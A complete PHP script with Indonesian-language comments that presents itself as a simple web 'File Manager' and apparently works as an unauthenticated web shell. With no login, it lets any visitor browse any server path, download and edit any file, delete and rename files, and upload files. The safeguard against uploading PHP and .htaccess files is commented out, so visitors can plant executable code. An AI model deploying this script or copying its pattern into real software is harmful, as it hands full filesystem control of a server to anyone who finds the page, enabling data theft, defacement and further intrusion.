<?php
// filemanager.php
error_reporting(E_ALL);
ini_set('display_errors', 1);

// ------------ Util & init -------------
function safeRealpath($p) {
    $r = realpath($p);
    if ($r === false) {
        // fallback: try to normalize without resolving symlinks
        $r = rtrim(str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $p), DIRECTORY_SEPARATOR);
    }
    return $r;
}

// Tentukan directory saat ini (GET 'dir' atau default getcwd)
$requested = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$currentDir = safeRealpath($requested);
if ($currentDir === false) $currentDir = getcwd();

// Jika ada aksi download, layani dulu (keluar setelah readfile)
if (isset($_GET['download'])) {
    $downloadPath = safeRealpath($_GET['download']);
    if ($downloadPath && is_file($downloadPath) && is_readable($downloadPath)) {
        // Kirim header untuk download / view
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
        header('Content-Length: ' . filesize($downloadPath));
        readfile($downloadPath);
        exit;
    } else {
        echo "File tidak ditemukan atau tidak dapat dibaca.";
        exit;
    }
}

// ---------------- Actions ----------------
// Semua tindakan menerima current_dir via hidden input atau GET param (POST forms include current_dir)
function redirectTo($dir) {
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

// UPLOAD
$uploadMessage = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload'])) {

    // Ambil current_dir dari POST, rapikan
    $postDir = isset($_POST['current_dir']) ? safeRealpath($_POST['current_dir']) : getcwd();

    // Kalau ternyata path ke FILE (mis. .../upls.php), pakai foldernya
    if ($postDir && is_file($postDir)) {
        $postDir = dirname($postDir);
    }

    // Pastikan targetDir folder yang valid
    $targetDir = ($postDir && is_dir($postDir)) ? $postDir : getcwd();

    $f = $_FILES['upload'];
    if ($f['error'] !== UPLOAD_ERR_OK) {
        $uploadMessage = "Upload error (code {$f['error']}).";
    } elseif (!is_uploaded_file($f['tmp_name'])) {
        $uploadMessage = "File upload tidak valid (bukan dari HTTP POST).";
    } elseif (!is_writable($targetDir)) {
        $uploadMessage = "Folder tujuan tidak writable: " . htmlspecialchars($targetDir);
    } else {
        // Sanitasi nama file (tetap pakai nama asli yang dibersihkan)
        $orig = basename($f['name']);
        $safe = preg_replace('/[^A-Za-z0-9._-]/', '_', $orig);
        if ($safe === '' || $safe === '.' || $safe === '..') {
            $uploadMessage = "Nama file tidak valid.";
        } else {
            $targetPath = $targetDir . DIRECTORY_SEPARATOR . $safe;

            // Jika tidak ingin overwrite, aktifkan blok ini:
            // if (file_exists($targetPath)) {
            //     $name = pathinfo($safe, PATHINFO_FILENAME);
            //     $ext  = pathinfo($safe, PATHINFO_EXTENSION);
            //     $i = 1;
            //     do {
            //         $candidate = $name . "_{$i}" . ($ext ? ".{$ext}" : '');
            //         $targetPath = $targetDir . DIRECTORY_SEPARATOR . $candidate;
            //         $i++;
            //     } while (file_exists($targetPath));
            // }

            // (Opsional) cegah eksekusi PHP/HTACCESS di folder upload
            // $forbidden = ['php','phtml','php3','php4','php5','phar','htaccess','phps'];
            // $ext = strtolower(pathinfo($safe, PATHINFO_EXTENSION));
            // if (in_array($ext, $forbidden)) {
            //     $uploadMessage = "Ekstensi tidak diizinkan untuk alasan keamanan.";
            // }

            if ($uploadMessage === '') {
                // Salin isi temp ke file baru menggunakan stream (tidak menahan semua ke memory)
                $in  = @fopen($f['tmp_name'], 'rb');
                $out = @fopen($targetPath, 'wb');

                if ($in && $out) {
                    // copy stream
                    $bytes = stream_copy_to_stream($in, $out);
                    fclose($in);
                    fclose($out);

                    if ($bytes !== false) {
                        // (Opsional) set permission ringan
                        @chmod($targetPath, 0644);

                        $uploadMessage = "✅ File dibuat & diisi: " . htmlspecialchars(basename($targetPath))
                            . "<br>Lokasi: " . htmlspecialchars($targetDir)
                            . "<br>Ukuran tersalin: " . number_format($bytes) . " byte"
                            . "<br><a href='?download=" . rawurlencode($targetPath) . "' target='_blank'>⬇️ Download</a>";
                    } else {
                        // Hapus file kosong jika copy gagal
                        @unlink($targetPath);
                        $uploadMessage = "❌ Gagal menyalin isi file ke: " . htmlspecialchars($targetPath);
                    }
                } else {
                    if ($in) fclose($in);
                    if ($out) fclose($out);
                    $uploadMessage = "❌ Tidak bisa membuka stream baca/tulis. Periksa permission folder.";
                }
            }
        }
    }
}

// DELETE
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['delete'])) {
    $currentDir = isset($_POST['current_dir']) ? safeRealpath($_POST['current_dir']) : $currentDir;
    $target = safeRealpath($_POST['delete']);
    if ($target && strpos($target, DIRECTORY_SEPARATOR) !== false) {
        if (is_dir($target)) {
            // rmdir only if empty, otherwise recursive optional (here we try non-recursive)
            @rmdir($target);
        } else {
            @unlink($target);
        }
    }
    redirectTo($currentDir);
}

// RENAME
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['rename_path'], $_POST['new_name'])) {
    $currentDir = isset($_POST['current_dir']) ? safeRealpath($_POST['current_dir']) : $currentDir;
    $old = safeRealpath($_POST['rename_path']);
    $newName = basename($_POST['new_name']);
    if ($old && file_exists($old)) {
        $newPath = dirname($old) . DIRECTORY_SEPARATOR . preg_replace('/[^A-Za-z0-9._-]/', '_', $newName);
        @rename($old, $newPath);
    }
    redirectTo($currentDir);
}

// EDIT SHOW
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_path']) && !isset($_POST['save_content'])) {
    $currentDir = isset($_POST['current_dir']) ? safeRealpath($_POST['current_dir']) : $currentDir;
    $editPath = safeRealpath($_POST['edit_path']);
    if ($editPath && is_file($editPath) && is_readable($editPath)) {
        $content = htmlspecialchars(file_get_contents($editPath));
        // Show edit form and stop further rendering
        echo "<h3>Editing: " . htmlspecialchars($editPath) . "</h3>";
        echo "<form method='post'>
                <input type='hidden' name='save_path' value='" . htmlspecialchars($editPath) . "'>
                <input type='hidden' name='current_dir' value='" . htmlspecialchars($currentDir) . "'>
                <textarea name='content' rows='20' cols='100'>{$content}</textarea><br>
                <button type='submit' name='save_content'>Simpan</button>
              </form>";
        exit;
    } else {
        redirectTo($currentDir);
    }
}

// SAVE EDIT
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save_content'], $_POST['save_path'])) {
    $savePath = safeRealpath($_POST['save_path']);
    if ($savePath && is_file($savePath) && is_writable($savePath)) {
        file_put_contents($savePath, $_POST['content']);
    }
    $currentDir = isset($_POST['current_dir']) ? safeRealpath($_POST['current_dir']) : $currentDir;
    redirectTo($currentDir);
}

// CREATE FILE / FOLDER
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_file'])) {
    $currentDir = isset($_POST['current_dir']) ? safeRealpath($_POST['current_dir']) : $currentDir;
    $name = basename($_POST['new_file']);
    file_put_contents($currentDir . DIRECTORY_SEPARATOR . preg_replace('/[^A-Za-z0-9._-]/', '_', $name), '');
    redirectTo($currentDir);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_folder'])) {
    $currentDir = isset($_POST['current_dir']) ? safeRealpath($_POST['current_dir']) : $currentDir;
    $name = basename($_POST['new_folder']);
    @mkdir($currentDir . DIRECTORY_SEPARATOR . preg_replace('/[^A-Za-z0-9._-]/', '_', $name));
    redirectTo($currentDir);
}

// ---------------- Listing & helpers ----------------
function buildBreadcrumb($dir) {
    // split path into parts and create clickable links
    $parts = preg_split('#[\\/\\\\]#', $dir, -1, PREG_SPLIT_NO_EMPTY);
    $acc = (DIRECTORY_SEPARATOR === '/') ? '' : ''; // start empty
    $crumbs = [];
    // if root (on unix) start with /
    if (DIRECTORY_SEPARATOR === '/') {
        $prefix = DIRECTORY_SEPARATOR;
    } else {
        $prefix = '';
    }
    $pathParts = [];
    // For absolute path start with root or drive
    if (DIRECTORY_SEPARATOR === '/' && substr($dir,0,1) === '/') {
        $acc = DIRECTORY_SEPARATOR;
    }
    foreach ($parts as $p) {
        if ($acc === DIRECTORY_SEPARATOR) $acc .= $p;
        else $acc .= ($acc === '' ? $p : DIRECTORY_SEPARATOR . $p);
        $pathParts[] = $acc;
    }
    // If dir is root or empty
    if (empty($pathParts)) {
        return "<a href='?dir=" . urlencode(DIRECTORY_SEPARATOR) . "'>/" . "</a>";
    }
    $out = [];
    foreach ($pathParts as $pp) {
        $out[] = "<a href='?dir=" . urlencode($pp) . "'>" . htmlspecialchars(basename($pp) ? basename($pp) : $pp) . "</a>";
    }
    return implode(" / ", $out);
}

function listFilesAndDirs($dir) {
    $items = @scandir($dir);
    if ($items === false) {
        echo "<tr><td colspan='4'>Tidak dapat membaca direktori ini.</td></tr>";
        return;
    }
    foreach ($items as $item) {
        if ($item === '.' ) continue;
        // allow showing parent link
        if ($item === '..') {
            $parent = dirname($dir);
            echo "<tr>
                <td>📁</td>
                <td><a href='?dir=" . urlencode($parent) . "'>.. (Parent)</a></td>
                <td>-</td>
                <td>-</td>
              </tr>";
            continue;
        }
        $path = $dir . DIRECTORY_SEPARATOR . $item;
        $type = is_dir($path) ? 'Folder' : 'File';
        $size = is_file($path) ? filesize($path) : '-';
        $time = file_exists($path) ? date("Y-m-d H:i:s", filemtime($path)) : '-';
        echo "<tr>
            <td>" . ($type === 'Folder' ? '📁' : '📄') . "</td>
            <td>";
        if ($type === 'Folder') {
            echo "<a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($item) . "</a>";
        } else {
            echo htmlspecialchars($item);
        }
        echo "</td>
            <td>" . htmlspecialchars($size) . "</td>
            <td>" . htmlspecialchars($time) . "</td>
            <td>
                <form method='post' style='display:inline'>
                    <input type='hidden' name='delete' value='" . htmlspecialchars($path) . "'>
                    <input type='hidden' name='current_dir' value='" . htmlspecialchars($dir) . "'>
                    <button onclick='return confirm(\"Yakin hapus?\")'>🗑</button>
                </form>

                <form method='post' style='display:inline'>
                    <input type='hidden' name='rename_path' value='" . htmlspecialchars($path) . "'>
                    <input type='hidden' name='current_dir' value='" . htmlspecialchars($dir) . "'>
                    <input type='text' name='new_name' placeholder='Nama baru' required>
                    <button>✏️</button>
                </form>";

        if ($type === 'File') {
            // download link
            echo " <a href='?download=" . urlencode($path) . "'>⬇️ Download</a>";
            // edit button
            echo "<form method='post' style='display:inline'>
                    <input type='hidden' name='edit_path' value='" . htmlspecialchars($path) . "'>
                    <input type='hidden' name='current_dir' value='" . htmlspecialchars($dir) . "'>
                    <button>📝 Edit</button>
                  </form>";
        }
        echo "</td></tr>";
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>File Manager</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 16px; background:#f7f7f7; }
        table { width:100%; background:#fff; border-collapse: collapse; }
        th, td { padding:8px; border:1px solid #e1e1e1; }
        form { margin:0; display:inline; }
        input[type="text"] { padding:4px; }
    </style>
</head>
<body>
    <h2>File Manager</h2>
    <p><strong>Lokasi saat ini:</strong> <?= buildBreadcrumb($currentDir) ?></p>

    <?php if ($uploadMessage): ?>
        <div style="padding:8px; background:#efe; border:1px solid #cfc; margin-bottom:8px;">
            <?= $uploadMessage ?>
        </div>
    <?php endif; ?>

    <form method="post" enctype="multipart/form-data" style="margin-bottom:8px;">
        <input type="hidden" name="current_dir" value="<?= htmlspecialchars($currentDir) ?>">
        <input type="file" name="upload" required>
        <button>⬆ Upload</button>
    </form>

    <form method="post" style="display:inline; margin-right:8px;">
        <input type="hidden" name="current_dir" value="<?= htmlspecialchars($currentDir) ?>">
        <input type="text" name="new_file" placeholder="Nama file baru">
        <button>📄 Buat File</button>
    </form>

    <form method="post" style="display:inline;">
        <input type="hidden" name="current_dir" value="<?= htmlspecialchars($currentDir) ?>">
        <input type="text" name="new_folder" placeholder="Nama folder baru">
        <button>📁 Buat Folder</button>
    </form>

    <table style="margin-top:12px;">
        <thead><tr><th>Type</th><th>Nama</th><th>Ukuran</th><th>Waktu</th><th>Aksi</th></tr></thead>
        <tbody>
            <?php listFilesAndDirs($currentDir); ?>
        </tbody>
    </table>
</body>
</html>
